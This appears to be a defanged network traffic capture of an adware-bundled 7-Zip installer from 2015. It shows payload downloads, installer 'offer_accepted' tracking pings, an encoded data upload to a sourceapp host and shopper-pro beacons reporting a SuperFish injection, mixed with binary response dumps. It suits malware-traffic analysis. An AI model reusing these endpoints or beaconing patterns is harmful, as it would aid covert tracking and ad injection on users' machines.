..E....|..C...^...'...w..$......m.s..d.....b.1U<s...;.s$B..he..5_..
b..'5t..^..?.(,m9 J......9.g...63n.W...c]#....;Z.....C....v9!..w)...S%
....r..j.i....1.A.Et.r...)T...i....R......L. L..,....a.Q}....0...0...0
..3......./...b.v..-....l}0...*.H........0_1.0...U....US1.0...U....Ver
iSign, Inc.1705..U....Class 3 Public Primary Certification Authority0.
..141202000000Z..151216235959Z0..1.0...U....US1.0...U....Symantec Corp
oration1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3 PC
A - G1 OCSP Responder Certificate 30.."0...*.H.............0..........
'......Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....H..3-;
 ).....0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M...T..pS
.p..^|o....S..v.).)[email protected]#qh...u1T.].G0.]E...=.
_...... ........TE...Sa.s4........r...3.............0..0...U....0.0l..
U. .e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. .
......0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U........
0... .....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H...........
..$..H......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e.......a..
D...........e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :,t>....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1790
content-transfer-encoding: binary
Cache-Control: max-age=473512, public, no-transform, must-revalidate
Last-Modified: Thu, 12 Feb 2015 15:32:45 GMT
Expires: Thu, 19 Feb 2015 15:32:45 GMT
Date: Sat, 14 Feb 2015 04:01:57 GMT
Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015021
2153245Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150212153245Z....20150219153245Z0...*.H........
.....G>.B.......r(uA...o.t...q.V*!q...OG.. ..Q).y0S....;....v.,...{
..X.2...D...sK.....$.....qT.<......N.hv....=1G..`....~.{.^W.:...j..
a_.;...l..4.......j...P>....U".NF. .U#.3]jJ........XT`.U\.x.8...<
;Y?..E.71G...p:Z!.rP..nO.l.d.a.el...*.....v#..:;..w.t....gU.......#0..
.0...0..........<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0.
..U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms
 of use at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class
 3 Code Signing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U...
.US1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U..
.2Terms of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3Veri
Sign Class 3 Code Signing 2009-2 OCSP Responder0.."0...*.H............
.0.........{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk
....(..........p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..J
A..~QG.d.}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h&
lt;.l....(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0.
..0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://ww
w.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CP
S incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0
...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-24710
<<< skipped >>>


GET /app/ping.ashx?e=DNkDj dFVmAfAxEXghvnLKarWOV6aKJSTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64Q8eBMx9XGU39SgIg44p4zUb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspbLuI3LPJ2qO62XevNeS4vezffbwpk5Gf9jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9s6SjYYF5i7guVX4ezbhi3MtTg/jMh0VmqJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423s0cbRhisxVkFHdk/gnZ pY= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:16 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 03:58:16 GMT..Content-Length: 0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=416430-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 694046
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=437376-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 437376-583167/583168
Content-Length: 145792
Connection: keep-alive
S0f..SO.....s.....E:y..I...OXz.E..r....L....5..`....#.*Y.'-.U....>.
...*ks..d...#.@..%p....oG..._...<.....M..#...............{......q7.
..,.bOd.........s..8..<..C...e.........q..^1...dR#M..3.=.....j;R...
 ...)....%.-..B..6.X.......5U./.P....R}.'..l..C.,N...$.......Gj.v~ .v;
...uD.G.2.-L....R.[4..P .!Eg..J......j(.q...gEu.?J.T.=.(.2..GC.!...O..
...T...1...5'.^.).O.....:.."...tZ.s..........~e@..........%....F...."n
yw%l.4...O.o{....Pe..d...Y...m.E.......Y..!...g..K...znz....5....l.-s.
......6ONw......,.23.`..zP$cM..n",^./L%p./....W.hol..p)..(.'..B4.F..".
..'.Bp....OB.V......\......_..o.`.. ........*ZGA..2K........Y.s5P.aGD.
._,.. ....G...a/[.k..j.L.........*i".Q5;..&..D..f.gh\......c....>..
.|..c.K..h....4 .U.....7~....l......BQ<......d_.&...!......nEC..S..
^.Sp...m........ _'_......3.><[email protected].......^.~....v
.u.#4..3J...rrh...w......S.....J<.l...fDu........p.3.""(1.M.:. ..t\
2.{p.=.*/c...juSR.q.]....d...r.{[email protected].;.h.
...=.Xx..Z..$.5....3v..v..!..~W.c.G....)yL.^.....w.2...`....;\....H.}z
{.....O ..B..!4:.%.b;.A..T$6..{.D..kq(.M.c'3O..M.n.....s.8.z...o...N.p
...h....oj....A..Y.\......<....{.....E..........S.....QR.~.D.ye&:.`
...........W.."].........?g...nb...S fk.p7...Zr-Y..#H1._&..c.....#3.vS
.......=...$.E......A ..Q.......I[...oCSV....Y. -..O....J.......mOT...
]i....A../..ZqJ.u.).F..mF$@#..w87...S`..OV..........n.VrD...d7.....4..
n(Z).zD....<..P...6..[.....7.P..|./..h.......[|.8..*.0...k......djY
...7......o&/....n/.d.........Gw.QtikjM"..x...g.&....~{k.Wb...!.M.
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d4ekdi381yoqv.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Wed, 11 Feb 2015 06:15:44 GMT
Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT
ETag: "54da1999-6721"
Expires: Wed, 11 Feb 2015 06:25:44 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 99
X-Cache: Hit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8BrvYlFxx1rVZvPr1OA90xiu0ITCIX63PBky3xgsj0RHGuuVEvwBjw==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d4ekdi381yoqv.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 04:56:40 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 08 Feb 2015 05:06:40 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Wjbgst21I4tP9AyFIdTP9HMcSV9-FQGPTKkSWDEuB2qmHk1wuDoUow==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=3&index_in_screen=1&index_in_session=3&0.08536826518128781 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.1.10.1423886295; __utmc=1; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:59:47 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..



GET /fp?alpha=Ej1bUW5PNTltcUxMdHthE3kIXG4SYU0gLzU8Gk4yFSlWUSgQTFlScmQLQF83UyJXBRUPTzdUJBNKDg18Cm4hJxh/SRpPbDJoTEJ4N2kgXHFRPFgdMAUlDCVrbFNbE3sXaRpFakJHUi4CFXpHSjxILlYFERNDNVcxDzsKD25FK3lcfgF4SA89XmRLRD86LStufAImTQlgFDAHPW5sQ10WbxZlF0BsV0YONwQSb0BeL08oTlJDAh9hRX5TNmpVJ0I2fhkIGGpKFTYcPRIDYjt+PUMIJDcPQmYJOg4sb2RVWRFkRS9bSgweHw94R1NvMwJpG3UKUVB8BzZaLwo8CDduUi1+BRUOOB88bDdkS0kzZzRfImhVIVUdMA0/CTBpEVdbFHsVb3E2HzNjORlcZ2cd HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Sat, 14 Feb 2015 04:00:07 GMT
Content-Length: 84
/ F0eUb1uzZ9M CCSQUH aw2bVn77jN0NPbtEilG6/VqM1GgwzFTdOGxNSpU4KYmeSj1yV
8nWK7uVoLYmv46HTTP/1.1 200 OK..Cache-Control: no-cache, no-store..Prag
ma: no-cache..Content-Type: text/plain; charset=utf-8..Expires: -1..Se
rver: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..SVR: SP002C2..X-
Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Date: Sat, 14 Feb 2015 04:
00:07 GMT..Content-Length: 84../ F0eUb1uzZ9M CCSQUH aw2bVn77jN0NPbtEil
G6/VqM1GgwzFTdOGxNSpU4KYmeSj1yV8nWK7uVoLYmv46....


POST /if?alpha=FTkjUDhBYFl3d1hGDHo3FH1wXTgVZS94NSAKN0F9R2VpF30ASEB5E1UoaicpCTl/QxFXNhlfeAk+dxIuEnJeU1B5OWNJP0xzbBZgKGg6fWcXJGBQckBrey5NESNVFSwbdXZPPEdYJyRRH2ZOUmlNMiADMhVMO1F4DU57DThFP1IzFi5nPTVgHSFODDE1WhJnfgR9M1wiDj9gajVhVyAXOhNqYUc+XkchJFMWcykCPB9dZFpJTBoFEiZWfScaekU6LRIRHTZgTCBEezxXbWknVDg/VSQzVjFcQCl/NQY0N01nVyE/EzAnHH1yCVA4I0ZvTTJ0XAADEA4UL0syD1V9UjMcDxg/KwYVYBA6chZ9bik1fGUBcGZCPVxiJ3AoHUcxVHFRKyYZY1BPMyBIFmU4UGlIP2VQBlMWHgdqSW4hVz4afF5OTm1kIhBvGjI4IDM+ZQx9Ykc9QF89R2kiPFsnBmVHZwp+IQAwRFN9JBYaMikHL0QmJhlFFU1bDysEP3IGKxBmWlZEeUlrTj5OYTBDOS00M0N9BmdwHXRlQTF9ejZHR0tmVy0uGi0jVUBVNW5rSw8qEj9SUAJMHBhgLjI4Ym0+ HTTP/1.1


Content-Type: application/x-www-form-urlencoded
Filename: ilg
User-Agent: NSIS_Inetc (Mozilla)
Host: install.sourceapp.info
Content-Length: 31523
Connection: Keep-Alive
Cache-Control: no-cache

alpha=flMqVS5pCxIZMlENJXhYaR1pU2JlRil4cktoKFAnRWEcTA==|,|flMqVS4pLUtVAg5nJUVPWDtVZmJlRgwjQm1 fVVxFFMiHkdab2pXEThAWi8gcRRzbDYreAQ7Dz0QOVptCkYWFSsWCg5Wag==|,|flMqVS5YFFF7F3ECOE5RXF8hFAFiOhpqe0p REZmJW4HA2tffm5yLABOZQIjTiF6XRJwLjp2Ijxe|,|flMqVS5mECJebgtQK351aCBffQZ4W28oUD5bWRFM|,|flMqVS4ZUCtAGGhgJWVveB5wWGILAzxqd1djOGB3IVZmTjspWlhXNHsZPk52K0QoHVZ8IkxKHWZVfxQ fXBWVi4TU2w4IS5vQzZrVi9y|,|flMqVS47JEcCNg4OJXhPZRN5WjZ4AD12cxhud0pvKVwiU3dycX8zTWwQFE11ZFcjbg==|,|flMqVS5wRSpKKyIlJWVveB5wWBE3Ez16exhrakhvaFEpHnZ6cX4zHCVPY0NyMgZyQFM7dHBgL3YiPF4=|,|flMqVS4jZANxQ3AgJWVveB5wWBE3Ez16exgwOFRvOAMzEg9Sb3cnb1Q=|,|flMqVS5UX3RJDm06P2B1fDlaFCQqCSI5fVdgdUZsLBIqGnV PyczFE11ZCdvTw==|,|flMqVS5UX3RJD2g6P2B1fDh
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Sat, 14 Feb 2015 04:00:08 GMT
Content-Length: 41
{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Contro
l: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; cha
rset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 
4.0.30319..SVR: SP002C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR".
.Date: Sat, 14 Feb 2015 04:00:08 GMT..Content-Length: 41..{"status":"O
K","url":null,"message":null}..



GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.0.9 HTTP/1.1
Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 04:00:38 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=ZuS0/O3oV2pO8QLglJiczkeur3PsxN4K5qvJgvr/dJ8JV2jHZ9jAK2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUOJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY&product=EXTFirefox&rnd=1423886439&it=1&action=Inject&text=SuperFish HTTP/1.1


Host: rep.shopper-pro.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 04:00:39 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 04:00:39 GMT..Content-Length: 0..



GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQCEHQmdFrc480Fy/u/h0ldP HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.comodoca.com


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:02:03 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Fri, 13 Feb 2015 11:04:19 GMT
Expires: Tue, 17 Feb 2015 11:04:19 GMT
ETag: 7B5BFC5C8F9022C9DFDCCAD936D90C927023046F
Cache-Control: max-age=283935,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: h6edcaocsp10
Content-Length: 472
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........,}...h|%....?......2015021
3110419Z0t0r0J0... .........%.6..Ga....e............,}...h|%....?.....
........8.Ar....WO....20150213110419Z....20150217110419Z0...*.H.......
......Ns/....l.Z..:J..L...i..^.0.c....w.M..9.gu..po#.&.e...rF,.8.`....
n#R.......%.. @...h..* ......8!..<...v..d^Z.2.[.r.V.....k....)....5
..m;....0L..s...d....k.*....hF.......MV..V..F..b.n8..%....RD..h..faE.)
.p}....9.%x..D..d.]...,x.C.iQ..m.O.$..O..T9.O........\...



GET /app/ping.ashx?e=NEjPoAxksx3HiNdSCLSbR8qE4UfJCi9fHjchdSi0RQ3VSkBwYPm MybAHEhoDk4RCMJFGbZT97lIYTGpbiqfvFt82 SNOJfk Qi34DV81hlm5LT87ehXajfk5LsCkxZTSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjjBV foZFcFJlJVRw8VSypsqwZwxAX4ff HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sat, 14 Feb 2015 03:58:15 GMT..Content-Length: 0..



GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886295&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245


HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 1268
Content-Type: text/html; charset=utf-8
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886295&SBPIDS=1&KA=1
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Sat, 14 Feb 2015 03:58:15 GMT
Connection: close
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59
c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1423886295&SBPIDS=1&KA=1">
